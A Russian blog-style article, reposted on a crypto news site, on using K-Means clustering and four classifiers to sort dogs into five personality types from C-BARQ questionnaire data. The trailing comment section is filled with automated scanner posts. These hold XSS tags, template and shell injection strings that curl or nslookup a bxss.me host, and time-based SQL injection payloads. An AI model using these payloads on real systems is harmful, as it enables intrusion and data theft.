Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie

Прямой эфир

Русский

English

Войти / Регистрация

Cryptocurrencies: 9512 / Markets: 114689

Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Лапочки с характером: Как машинное обучение помогает определить тип личности ваших пёсиков

Предлагаю Вам разбавить все серьезные, обсуждаемые здесь темы, небольшой отдушиной для многих из нас!

Собаки – настоящие маленькие спутники жизни каждого хозяина, поэтому многих обрадовала бы возможность подобрать питомца, который будет вписываться в привычный образ жизни, и, например, сможет смирно сидеть на коленях, пока Вы пишете код, или безостановочно носиться по дому, требуя все Ваше внимание и любовь.

Все это станет реальным, благодаря машинному обучению! :) Теперь Вы можете почти так же просто определить тип личности своего питомца, как и свой собственный (излюбленный MBTI тест – такая же разработка ML)

В данной статье описывается успешная попытка применить методы искусственного интеллекта и ML для классификации и прогнозирования личностных качеств собак с использованием поведенческих данных, полученных из базы данных C-BARQ. Я в подробностях расскажу об основных теоретических и практических аспектах проделанной работы!

Приятного прочтения! :)

Введение

В этом исследовании методы машинного обучения были применены к классификации типов личности собак с использованием поведенческих данных, полученных в рамках проекта C-BARQ.

C-BARQ (Canine Behavioral Assessment and Research Questionnaire) — это инструмент для стандартизированной оценки темперамента и поведения собак. Он был разработан исследователями из Центра взаимодействия животных и общества Университета Пенсильвании и является единственным в своем роде инструментом поведенческой оценки, который был тщательно проверен на надежность и валидность на больших выборках собак разных пород.

Опросник содержит 100 вопросов. Вопросы сгруппированы в 7 разделов: 1) дрессируемость; 2) агрессия; 3) страх и тревожность; 4) поведение собаки, когда она остаëтся одна; 5) возбудимость; 6) привязанность и поиск внимания; 7) разное.

Поскольку набор данных не был размечен, в первом этапе был выбран метод обучения без учителя, и для кластеризации и маркировки данных был использован алгоритм K-Means.

K-Means – это алгоритм машинного обучения, который помогает разделить набор данных на кластеры на основе их признаков и сходства.

Сущность алгоритма K-Means

Из анализа кластеризации K-Means по данным о поведении выявилось пять отдельных категорий собак, соответствующих пяти различным типам личности:

«Возбудимый/Гиперактивный»;
«Тревожный/Боязливый»;
«Недружелюбный/Хищный»;
«Реактивный/Напористый»;
«Спокойный/Покладистый».

Четыре модели машинного обучения, включая Метод Опорных Векторов (SVM), Метод k-ближайших соседей (KNN), Наивный Байесовский классификатор и Дерево Принятия Решений были применены для прогнозирования черт характера собак на основе имеющихся данных.

Метод Опорных Векторов (SVM, support vector machine) работает путем построения гиперплоскости в пространстве данных, наилучшим образом разделяющей различные классы данных. SVM стремится найти оптимальную разделяющую гиперплоскость, максимизируя расстояние от этой гиперплоскости до ближайших обучающих точек, которые называются опорными векторами.

Метод Опорных Векторов (SVM)

Метод k-ближайших соседей (KNN, k-nearest neighbors algorithm) – это простой алгоритм классификации, который основан на том, что объекты одного класса склонны скапливаться в пространстве признаков ⇒ KNN определяет класс нового объекта на основе классов его ближайших соседей (k ближайших точек данных), если большинство из ближайших соседей принадлежит к определенному классу, то новый объект также относится к этому классу.

Метод k-ближайших соседей (KNN)

Наивный Байесовский классификатор использует статистические методы для прогнозирования вероятности принадлежности объекта к определенному классу на основе его признаков.

Дерево принятия решений – это графическое представление алгоритма машинного обучения, используемого для принятия решений в условиях неопределенности. Оно представляет собой древовидную структуру, где каждый узел представляет собой признак или атрибут, каждое ребро - возможное значение этого признака, а листовые узлы - ответы или прогнозы.

Дерево принятия решений

Производительность моделей была оценена с использованием метода пятикратной перекрестной проверки, и результаты показали, что модель Дерева принятия решений показала лучшую производительность с высокой точностью в 99%.

Теперь приступим к практической части!

Методология

Набор данных C-BARQ не является размеченным, поскольку в нем отсутствует целевая переменная. Следовательно, для выполнения кластерного анализа был использован алгоритм машинного обучения без учителя, применяющий только входные векторы без ссылки на известные или размеченные результаты. Каждый кластер будет относиться к группе данных (собак), объединенных вместе из-за определенных сходств.

Предварительная обработка и очистка данных:

Перед применением моделей машинного обучения была проведена очистка данных для предотвращения значительных ошибок и неправильной кластеризации. Все образцы с отсутствующими значениями для одного или нескольких атрибутов были удалены из набора данных. По завершении процесса очистки данных в наборе осталось 7807 полных образцов.

Кодирование данных:

Из 157 атрибутов 133 были определены как числовые атрибуты, так как они содержали значения с целочисленным типом. Другие 24 атрибута были определены как нечисловые, поскольку они содержали значения со строковым типом. В результате процесс кодирования данных должен был быть проведен для преобразования этих значений в числовые, которые можно использовать для обучения моделей ML. Для выполнения процесса кодирования использовалась функция 'LabelEncoder' из библиотеки Scikit-Learn в Python.

Функция LabelEncoder

Отбор признаков для кластеризации:

Главной целью текущего исследования являлось создание набора характеристик личности для собак на основе их поведенческих шаблонов, а также разработка инструмента прогнозирования личности с использованием искусственного интеллекта. Были выбраны только 100 оцененных поведенческих элементов из набора данных C-BARQ для кластеризации.

Кластерный подход:

Поскольку набор данных не был размеченным, в данном исследовании был использован подход кластеризации. В нем был применен алгоритм K-Means. Этот алгоритм группирует неразмеченный набор данных в разные кластеры. Он начинает с первой группы случайно выбранных центроидов, которые используются в качестве отправной точки для каждого кластера (некоторое среднее значение), и затем выполняет итеративные расчеты для оптимизации положений центроидов.

Основная цель – определить k центроидов, по одному для каждого кластера. Расположение этих центроидов может быть сложным, потому что разные местоположения дадут разные результаты. Поэтому центроиды должны быть размещены как можно дальше друг от друга.

В следующем шаге алгоритм берет каждую точку данных и ассоциирует ее с ближайшим центроидом. Когда не остается ни одной оставшейся точки, этот шаг завершается, и определяется ранняя группа.

После этого необходимо повторно вычислить k новых центроидов, полученных на предыдущем шаге. После принятия решения относительно этих k новых центроидов, нужно снова выполнить ассоциацию с данными между теми же точками и ближайшим новым центроидом. Этот процесс будет повторяться в цикле, пока изменения не прекратятся (центроиды перестанут двигаться).

Наконец, алгоритм нацеливается на минимизацию целевой функции, в данном случае квадратичной функции ошибки.

Допустим, есть набор наблюдений (x1,x2x3...xm ). В результате целевая функция будет:

На самом деле, алгоритм пытается математически решить задачу минимизации, состоящую из двух частей. Сначала алгоритм минимизирует C относительно ik с Ck фиксированным значением. Затем он минимизирует C относительно Ck с ik фиксированным значением. Это показано в следующих уравнениях:

Первый шаг:

Второй шаг:

Для того чтобы дойти до момента, когда центроиды перестают изменяться, алгоритм должен обратить внимание на выбор значения K. Однако определение начального значения K представляет определенные трудности. Для решения этой проблемы производительность алгоритма должна быть рассчитана для различных чисел центроидов. Расстояние между точкой данных и центроидом каждого кластера может быть рассчитано до тех пор, пока не произойдет сходимость. Затем все рассчитанные расстояния должны быть сложены как показатель производительности.

Размер целевой функции будет уменьшаться при увеличении числа центроидов кластеров. Метод "Локтя" может быть использован для выбора наилучшего значения K в этом алгоритме.

Метод “Локтя”:

Метод "Локтя" - это визуальный подход к выбору оптимального количества кластеров путем подгонки модели с диапазоном значений для K. Создается линейная диаграмма, напоминающая руку, и "локоть", который является как точкой перегиба на кривой, так и хорошим признаком того, что базовая модель лучше всего подходит для этой точки.

В этом исследовании использовался KElbowVisualizer из библиотеки Python yellowbrick для подгонки модели K-Means для диапазона значений K от 2 до 30 на наборе данных.

Процесс начинается с K = 2 и увеличивается на 1 на каждом шаге. Параметр метрики оценки был установлен на искажение, которое вычисляет сумму квадратов расстояний от каждой точки до ее назначенного центра. Среднее расстояние резко падает, а затем достигает плато при дальнейшем увеличении значения K.

На рисунке показано, что при подгонке модели с 5 кластерами на графике можно увидеть линию, обозначающую "локоть", который представляет собой оптимальное количество кластеров. Другими словами, имеется крутое снижение среднего расстояния, когда K находится в диапазоне от 1 до 5. После K = 5 наклон относительно плавный. В результате было выбрано значение K равное 5.

Метод "Локтя"

Классификаторы машинного обучения для предсказания типа личности собаки:

Для прогнозирования типов личности собак были реализованы четыре различных типа машинного обучения, описанные во введении.

Функция train_test_split() из библиотеки sklearn использовалась для разделения нового размеченного набора данных на наборы для обучения (70%) и тестирования (30%).

Была выполнена настройка гиперпараметров для оптимизации производительности реализованных классификаторов машинного обучения. В таблице ниже показаны параметры для каждого классификатора и установленные для них значения.

Classifier	Parameters	Value
SVM	C	1
	kernel	rbf
	degree	3
	gamma	scale
	shrinking	TRUE
	tol	0.001
	cache_size	200
	max_iter	1
	decision_function_shape	ovr
	random_state	42
KNN	n_neighbors	5
	weights	uniform
	algorithm	auto
	leaf_size	30
	p	2
	metric	minkowski
Decision Tree	criterion	‘gini’
	splitter	‘best’
	min_samples_split	2
	min_samples_leaf	1
Naïve Bayes	var_smoothing	1.00E−09
Naïve Bayes	priors	None

Модели были оценены с использованием метода пятикратной перекрестной проверки, и их производительность была сравнена для определения наиболее эффективного классификатора.

Анализ важности признаков:

Этот анализ позволил определить значимость каждой поведенческой переменной C-BARQ в различных кластерах. Были выделены 20 ключевых поведенческих атрибутов, определяющих каждый кластер, и использованы для создания описательной метки для каждого типа личности (можете ознакомиться с ними в таблицах ниже).

Порог был установлен на уровне 20, так как диаграммы "важности" обычно имеют более плавный наклон после первых 20 наиболее значимых признаков, в то время как оставшиеся признаки не вносят существенный вклад в модель (см. диаграммы ниже).

Для выявления направления поведенческих эффектов в каждом кластере были проанализированы средние значения 20 наиболее важных переменных C-BARQ и сравнены с средними значениями этих переменных в других 4 кластерах. Эти сравнения позволили определить соответствующие поведенческие характеристики для каждого типа личности в группировке.

Кластер 0: “Возбудимый/Гиперактивный”:

Пункт C-BARQ	Описание пункта	Важность признака	Среднее для кластера 0	Среднее для других кластеров
mis90	Гиперактивность, беспокойство, трудности с успокоением	0.042943	1.30 +	0.58
sep61	Потеря аппетита при одиночестве	0.034686	0.42 +	0.32
att72	Ревность, когда владелец уделяет внимание другим людям	0.031540	1.41 +	0.68
exc66	Возбужденность при поездках на машине	0.030422	2.47 +	1.6
mis91	Игривость, щенячье поведение, буйство	0.027968	2.68 +	1.69
exc64	Возбужденность при звонке в дверь	0.026235	2.68 +	2.01
mis89	Дефекация при одиночестве	0.025326	0.28 +	0.21
att71	Толкание, лапание владельца в поисках внимания	0.024457	2.66 +	1.88
exc62	Возбужденность при возвращении владельца домой	0.024042	2.93 +	2.1
mis84	Нервозность или страх на лестнице	0.023624	0.26−	0.3
sep56	Беспокойство, волнение при одиночестве	0.022145	1.12 +	0.63
exc65	Возбужденность перед прогулками	0.022010	2.72 +	1.84
agg35	Агрессия при попытке другой (знакомой) собаки подойти, когда играет/жует любимую игрушку, кость, предмет и т. д.	0.019635	0.68−	0.7
fear39	Страх при визите незнакомых людей в ваш дом	0.019525	0.25−	0.65
att70	Сидит близко к владельцу или в постоянном контакте с ним	0.019257	3.17 +	2.54
fear38	Страх в ответ на внезапные или громкие звуки (например, пылесос, хлопок машины, дорожные дрели, падение предметов и т. д.)	0.016524	1.14−	1.18
fear36	Страх при прямом приближении незнакомого взрослого вдали от дома	0.016307	0.32−	0.79
mis81	"Взбирается" на предметы, людей и т. д.	0.015368	0.49 +	0.27
exc63	Возбужденность при игре с членами семьи	0.014788	2.65 +	1.88
sep57	Скуление при одиночестве	0.014559	1.54 +	0.84

Кластер 1: “Тревожный/Боязливый”:

Пункт C-BARQ	Описание пункта	Важность признака	Среднее для кластера 1	Среднее для других кластеров
agg35	Агрессия при приближении другой (знакомой) собаки во время игры/жевания любимой игрушки, кости, предмета и т. д.	0.086189	0.60−	0.71
fear39	Страх при визите незнакомых людей в ваш дом	0.072337	1.82 +	0.39
fear38	Страх в ответ на внезапные или громкие звуки (например, пылесос, дорожные дрели, падение предметов и т. д.)	0.059492	2.30 +	1.02
fear36	Страх при прямом приближении незнакомого взрослого вдали от дома	0.049489	2.17 +	0.48
fear46	Страх при прямом приближении незнакомой собаки меньшего размера	0.033463	0.85 +	0.44
fear37	Страх при прямом приближении незнакомого ребенка вдали от дома	0.030953	1.98 +	0.46
fear42	Страх в ответ на странные или незнакомые объекты на тротуаре или рядом с ним (например, пластиковые мусорные пакеты, листья, мусор, развевающиеся флаги и т. д.)	0.029978	1.23 +	0.43
fear40	Страх, когда незнакомый человек пытается погладить или коснуться собаки	0.017972	2.23 +	0.48
fear47	Страх при первом столкновении с незнакомыми ситуациями (например, первая поездка на машине, первый раз в лифте, первый визит к ветеринару и т. д.)	0.017718	2.01 +	0.76
agg28	Агрессия к незнакомым людям, приходящим в ваш дом	0.017328	0.82 +	0.47
fear41	Страх в плотном трафике	0.017177	1.25 +	0.41
agg22	Агрессия, когда мимо вашего дома пробегают, проезжают на велосипеде, роликах или скейте, в то время как ваша собака находится снаружи или во дворе	0.015789	0.85 +	0.75
agg26	Агрессия к незнакомым собакам, приходящим в ваш дом	0.013937	0.72−	0.83
fear43	Страх при осмотре/лечении ветеринаром	0.013842	2.07 +	0.86
att73	"Ревность", когда владелец уделяет внимание другой собаке или другому животному	0.013215	1.43 +	1.41
agg23	Агрессия при прямом приближении незнакомого кобеля во время прогулки/упражнений на поводке	0.013151	0.75−	0.89
mis75	Преследует или преследовал бы птиц, если бы была такая возможность	0.012632	1.73−	1.98
agg25	Агрессия при прямом взгляде члена семьи	0.010707	0.06−	0.05
mis90	Гиперактивность, беспокойство, трудности с успокоением	0.010570	0.70−	0.74
exc66	Возбужденность непосредственно перед поездкой на машине	0.010514	1.81 +	1.79

Кластер 2: “Недружелюбный/хищный”:

Пункт C-BARQ	Описание пункта	Важность признака	Среднее для кластера 2	Среднее для других кластеров
agg28	Агрессия к незнакомым людям, приходящим в ваш дом	0.046446	0.44−	0.53
agg26	Агрессия к незнакомым собакам, приходящим в ваш дом	0.040469	1.33 +	0.69
att73	Возбуждение (скуление, прыжки, попытки вмешаться), когда вы (или другие) проявляете нежность к другой собаке или животному	0.037789	1.07−	1.5
agg22	Агрессия, когда мимо вашего дома пробегают, проезжают на велосипеде, роликах или скейте, в то время как ваша собака находится снаружи или во дворе	0.029619	0.89 +	0.73
att68	Проявление сильной привязанности к одному конкретному члену семьи	0.029430	2.31−	2.77
agg25	Агрессия при прямом взгляде члена семьи	0.028940	0.03−	0.06
mis75	Преследует или преследовал бы птиц, если бы была такая возможность	0.027460	2.46 +	1.82
agg23	Агрессия при прямом подходе незнакомого кобеля во время прогулки/упражнений на поводке	0.026174	1.42 +	0.73
sep61	Потеря аппетита при одиночестве	0.019876	0.22−	0.38
att69	Склонность следовать за вами (или другими членами семьи) по дому, из комнаты в комнату	0.019444	2.13−	2.84
mis89	Мочеиспускание при одиночестве ночью или днем	0.019294	0.18−	0.23
sep56	Проявление беспокойства/возбуждения/ходьбы туда-сюда при одиночестве	0.018138	0.38−	0.83
mis74	Преследует или преследовал бы кошек, если бы была такая возможность	0.017561	2.95 +	1.97
att72	Возбуждение (скуление, прыжки, попытки вмешаться), когда вы (или другие) проявляете нежность к другому человеку	0.016981	0.47−	0.93
att70	Склонность сидеть рядом или в контакте с вами (или другими), когда вы сидите	0.016138	2.22−	2.79
mis90	Гиперактивность, беспокойство, трудности с успокоением	0.015776	0.41−	0.82
fear39	Страх при визите незнакомых людей в ваш дом	0.015195	0.28−	0.64
agg35	Агрессия при подходе другой (знакомой) собаки во время игры/жевания любимой игрушки, кости, предмета и т. д.	0.014958	0.95 +	0.63
att71	Склонность толкать, обнюхивать или лапать вас (или других) в поисках внимания, когда вы сидите	0.014278	1.67−	2.15
exc62	Возбудимость, когда вы или другие члены семьи возвращаются домой после кратковременного отсутствия	0.013771	1.95−	2.36

Кластер 3: “Реактивный/напористый”:

Пункт C-BARQ	Описание пункта	Важность признака	Среднее для кластера 3	Среднее для других кластеров
agg9	Агрессия при устном замечании или порицании (наказании, крике и т. д.) вами или членом семьи	0.053578	0.54 +	0.09
agg20	Агрессия, когда незнакомцы проходят мимо вашего дома, в то время как ваша собака находится снаружи или во дворе	0.050147	2.11 +	0.75
agg15	Агрессия, когда незнакомый человек подходит к вам или другому члену вашей семьи дома	0.036353	1.81 +	0.39
agg27	Агрессия к кошкам, белкам или другим мелким животным, находящимся в вашем дворе	0.035104	2.29 +	1.03
agg25	Агрессия при прямом взгляде члена семьи	0.030881	0.24 +	0.03
agg11	Агрессия при прямом приближении незнакомого ребенка во время прогулки/упражнений на поводке	0.029025	1.42 +	0.20
agg22	Агрессия, когда мимо вашего дома пробегают, проезжают на велосипеде, роликах или скейте, в то время как ваша собака находится снаружи или во дворе	0.028445	2.04 +	0.60
agg19	Агрессия, когда его/ее еду забирает член семьи	0.027754	0.46 +	0.08
agg17	Агрессия при прямом приближении члена семьи, когда собака (он/она) ест	0.027611	0.38 +	0.07
agg10	Агрессия при прямом приближении незнакомого взрослого во время прогулки/упражнений на поводке	0.026578	1.64 +	0.26
agg28	Агрессия к незнакомым людям, приходящим в ваш дом	0.026567	1.74 +	0.36
agg14	Агрессия при купании или уходе за собой членом семьи	0.026246	0.44 +	0.08
agg21	Агрессия, когда незнакомый человек пытается погладить или коснуться собаки	0.025054	1.64 +	0.21
exc63	Возбудимость при игре с вами или другими членами семьи	0.022577	2.60 +	1.97
agg23	Агрессия при прямом приближении незнакомого кобеля во время прогулки/упражнений на поводке	0.020306	2.39 +	0.69
att71	Склонность толкать, обнюхивать или лапать вас (или других) в поисках внимания, когда вы сидите	0.017842	2.68 +	1.97
fear51	Страх при вытирании его/ее лап членом семьи	0.017742	0.78 +	0.26
mis96	Преследование/следование за тенями, световыми пятнами и т. п.	0.017425	0.72 +	0.33
fear44	Страх во время гроз, фейерверков или подобных событий	0.017130	1.56 +	1.00
fear38	Страх в ответ на внезапные или громкие звуки (например, пылесос, выстрел из машины, дорожные дрели, падение предметов и т. д.)	0.015425	2.02 +	1.06

Кластер 4: “Спокойный/Покладистый”:

Пункт C−BARQ	Описание пункта	Важность признака	Среднее для кластера 4	Среднее для других кластеров
att73	Возбуждение (скуление, прыжки, попытки вмешаться), когда вы проявляете нежность к другой собаке или животному	0.046477	0.26−	1.72
agg28	Агрессия к незнакомым людям, приходящим в ваш дом	0.045940	0.17−	0.69
agg26	Агрессия к незнакомым собакам, приходящим в ваш дом	0.045085	0.27−	1.11
exc63	Возбудимость при игре с вами или другими членами семьи	0.044342	1.68−	2.23
mis75	Преследование или потенциальное преследование птиц, если была бы такая возможность	0.036373	1.15−	2.38
tra6	Быстрое обучение новым трюкам или заданиям	0.033636	3.10 +	2.74
mis84	Нервозность или страх на лестнице	0.033216	0.16−	0.35
agg22	Агрессия, когда мимо вашего дома пробегают, проезжают на велосипеде, роликах или скейте, в то время как ваша собака находится снаружи или во дворе	0.028883	0.30−	1.01
mis74	Преследование или потенциальное преследование кошек, если была бы такая возможность	0.028717	1.34−	2.62
mis76	Преследование или потенциальное преследование белок, кроликов и других мелких животных, если была бы такая возможность	0.027501	1.83−	3.06
exc66	Возбудимость непосредственно перед поездкой на автомобиле	0.024193	1.20−	2.11
agg25	Агрессия при прямом взгляде члена семьи	0.023929	0.01−	0.08
exc64	Возбудимость при звонке в дверь	0.023186	1.39−	2.56
agg23	Агрессия при прямом приближении незнакомого кобеля во время прогулки/упражнений на поводке	0.021218	0.27−	1.2
mis96	Преследование/следование за тенями, световыми пятнами и т. п.	0.019714	0.22−	0.46
fear46	Страх при прямом приближении незнакомой собаки меньшего размера	0.018595	0.16−	0.66
agg19	Агрессия, когда его/ее еду забирает член семьи	0.018146	0.04−	0.17
agg35	Агрессия при приближении другой (знакомой) собаки во время игры/жевания любимой игрушки, кости, предмета и т. д.	0.017738	0.33−	0.89
exc65	Возбудимость непосредственно перед прогулкой	0.017680	1.42−	2.36
fear37	Страх при прямом приближении незнакомого ребенка вдали от дома	0.017085	0.26−	0.84

Диаграммы важности поведенческих атрибутов:

Диаграмма важности поведенческих атрибутов для кластера 0

Диаграмма важности поведенческих атрибутов для кластера 1

Диаграмма важности поведенческих атрибутов для кластера 2

Диаграмма важности поведенческих атрибутов для кластера 3

Диаграмма важности поведенческих атрибутов для кластера 4

Результаты

Модель кластеризации для идентификации типа личности собаки:

На рисунке показан график TSNE, созданный после выполнения кластеризации методом K-Means. График TSNE – это статистический метод визуализации многомерных данных, присваивающий каждой точке данных местоположение на двумерной карте.

Этот рисунок демонстрирует распределение выборок (собак) и как они разделены друг от друга на разные кластеры. В набор данных был добавлен новый столбец в качестве целевой переменной, содержащий соответствующий номер кластера (метку) для каждой выборки. В Таблице ниже показано количество выборок в каждом кластере.

Cluster ID	Number of samples
0	1676
1	934
2	1626
3	864
4	2707

Описание типов личности собак:

Из анализа кластеризации K-средних поведенческих данных выделились пять различных групп или категорий собак, соответствующих пяти различным типам личности.

Все описания и характеристики полностью основываются на данных подробных таблиц по кластерам, представленных выше.

Собаки в кластере 0 характеризовались относительно высоким уровнем возбудимости, привязанности/потребности внимания и тревожностью при отдалении, а также сниженным уровнем страха по сравнению с теми, кто был в других кластерах. Этот тип личности был назван "Возбудимый/Гиперактивный".

Собаки в кластере 1, напротив, проявляли относительно высокие уровни страха как перед социальными (незнакомыми людьми, другими собаками и т. д.), так и перед нон-социальными (новыми или неожиданными ситуациями или событиями) стимулами, и были названы "Тревожные/Боязливые".

Собаки в кластере 2 были обозначены как "Недружелюбные/Хищные" в связи с их низкими уровнями привязанности/потребности внимания и более высокими уровнями хищного поведения и агрессии по отношению к другим собакам, в то время как собаки в кластере 3 были обозначены как "Реактивные/Напористые" из-за их повышенного агрессивного поведения в различных областях, включая агрессию по отношению к членам “семьи”.

Наконец, собаки в кластере 4 проявляли последовательно низкие уровни агрессии, страха, возбудимости и хищного поведения, и были обозначены как "Спокойные/Покладистые". Способность быстро учиться новым трюкам или заданиям также была характерной для собак в этом кластере.

Оценка производительности классификаторов машинного обучения:

Четыре матрицы ошибок, представленные на следующем рисунке, визуализируют производительность обученных моделей при разделении набора данных на 70% для обучения и 30% для тестирования. Матрица ошибок для этих моделей подчеркивает многоклассовую классификацию данной работы, где целевая переменная имеет пять значений в диапазоне от 0 до 4, представляющих разные типы личностей. Столбцы представляют предсказанные значения целевой переменной, а строки представляют фактические значения целевой переменной.

В матрице ошибок для задачи многоклассовой классификации термины "True Positive" (TP), "True Negative" (TN), "False Positive" (FP) и "False Negative" (FN) определяются следующим образом:

True Positive (TP): Количество экземпляров класса i, которые были правильно предсказаны как класс i.
True Negative (TN): Количество экземпляров, не принадлежащих классу i, которые были правильно предсказаны как не принадлежащие классу i.
False Positive (FP): Количество экземпляров, не принадлежащих классу i, которые были ошибочно предсказаны как принадлежащие классу i.
False Negative (FN): Количество экземпляров класса i, которые были ошибочно предсказаны как не принадлежащие классу i.

Согласно рисунку, модель дерева принятия решений имеет наивысшее значение TP для классов «0», «1» и «4». И модель дерева принятия решений, и модель опорных векторов имеют наивысшее количество правильных предсказаний для класса «2». Модель опорных векторов имеет наивысшее значение TP для класса «3».

Были вычислены значения точности (precision), полноты (recall) и F1-меры для каждого класса для каждой использованной модели. После этого был рассчитан процент точности для каждой модели, и результаты представлены в следующей таблице:

Classifier	Accuracy percentage (%)
SVM	98
KNN	98
Decision tree	99
Naïve bayes	79

В области машинного обучения точность (precision) – это отношение истинно положительных случаев к сумме истинно положительных и ложных положительных случаев. Она измеряет точность положительных предсказаний:

Кроме того, полнота (Recall) – это отношение истинно положительных случаев к сумме истинно положительных случаев и ложных отрицательных случаев. Она количественно оценивает способность классификатора захватить все положительные примеры:

Оценка F1 – это метрика, которая объединяет точность и полноту в одно значение, обеспечивая сбалансированную оценку производительности модели классификации:

Наконец, точность модели служит важным показателем, определяющим ее общую производительность. Она рассчитывается путем выявления отношения правильных прогнозов, представленных суммой истинных положительных (TP) и истинных отрицательных (TN), к общему количеству прогнозов. Математически точность выражается как:

Для получения общей точности для задачи с множеством классов можно усреднить точности по всем классам.

По итогу, модель дерева принятия решений продемонстрировала лучшую производительность из четырех исследованных моделей. SVM и KNN показали одинаковые результаты, в то время как модель Наивного Байеса показала наименьшую производительность. Для более детальной оценки модели была проведена пятикратная перекрестная проверка, в которой модели запускались 5 раз на различных случайных выборках данных для оценки их производительности.

Следующая таблица показывает рассчитанные оценки точности для каждого разбиения и среднюю точность классификации как окончательную оценку точности для каждой модели по результатам проверки:

Classifier	Fold number	Accuracy scores calculated for each fold	Mean accuracy score
SVM	1 2 3 4 5	0.98507463 0.98290598 0.98504274 0.98290598 0.99145299	0.98
KNN	1 2 3 4 5	0.97654584 0.97649573 0.98076923 0.98290598 0.97435897	0.97
Decision tree	1 2 3 4 5	0.98933902 0.9957265 0.98076923 0.99786325 0.99786325	0.99
Naïve bayes	1 2 3 4 5	0.76332623 0.76282051 0.78205128 0.77350427 0.79487179	0.77

Согласно таблице, общая производительность моделей SVM и дерева принятия решений осталась неизменной. Производительность модели KNN снизилась на 1%, а производительность модели наивного Байеса снизилась на 2%.

При этом, наибольшая производительность все равно остается за деревом принятия решений.

Вывод

Как я и описывала в начале статьи, способ определения типов личности собак, имеет ряд сходств со способами определения типов личности людей.

Важное различие между этими методами ML и методами, используемыми для разработки более традиционных оценок личности, таких как опросник "Большой пятерки" или “MBTI”, заключается в том, что, в то время как первые объединяют или группируют отдельных собак в соответствии со сходством в их поведении, о котором сообщается по результатам сбора данных из анкетирования (баллы C-BARQ), последний обычно включает группировку пунктов анкеты с соответствующими баллами для создания личностных ‘черт’, которые могут быть использованы для описания или профилирования индивидов.

Если проводить сравнение результатов этих тестов, то можно заметить, что кластеры 1 и 4, например, в настоящем анализе сопоставимы с человеческими личностными факторами ”Большой пятерки“ – ”нейротизмом“ и "покладистостью" соответственно, но существует меньше очевидных параллелей между нашими “возбудимыми/гиперактивными“, ”недружелюбными/хищными" и “реактивными/напористыми” собачьими личностями и любым из типов личности "Большой пятерки", что позволяет предположить, что эти кластеры могут быть специфичны для собак.

Для меня это исследование действительно нашло отклик в душе, потому что я сама связана с волонтерством и работой с брошенными домашними животными. К массовому бродяжничеству собак приводит неоправдание человеческих ожиданий (многие по-своему представляют “идеального” любимца), эта проблема действительно могла бы быть сведена к минимуму в результате такой оценки личности собак. Я рада, что методы искусственного интеллекта и машинного обучения применяются в таких сферах :)

На этом все!

Будем ждать Вас в комментариях! Спасибо за прочтение :)

Источник

Теги

Категория

Новости

Дата

13 февр. 2024 г.

09.10.25 08:09 pHqghUme

can I ask you a question please?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

is it ok if I upload an image?
09.10.25 08:13 pHqghUme

can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
09.10.25 08:13 pHqghUme

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
09.10.25 08:13 pHqghUme

'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
09.10.25 08:13 pHqghUme

can I ask you a question please?9425407
09.10.25 08:13 pHqghUme

is it ok if I upload an image?
09.10.25 08:14 pHqghUme

is it ok if I upload an image?
09.10.25 08:16 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

"+response.write(9043995*9352716)+"
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
09.10.25 08:18 pHqghUme

|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:19 pHqghUme

is it ok if I upload an image?
09.10.25 08:20 pHqghUme

e
09.10.25 08:20 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

is it ok if I upload an image?
09.10.25 08:22 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:22 pHqghUme

can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
09.10.25 08:23 pHqghUme

can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
09.10.25 08:23 pHqghUme

can I ask you a question please?
09.10.25 08:23 pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
09.10.25 08:24 pHqghUme

is it ok if I upload an image?
09.10.25 08:24 pHqghUme

e
09.10.25 08:24 pHqghUme

can I ask you a question please?-1 waitfor delay '0:0:15' --
09.10.25 08:25 pHqghUme

is it ok if I upload an image?
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
09.10.25 08:26 pHqghUme

can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
09.10.25 08:26 pHqghUme

e
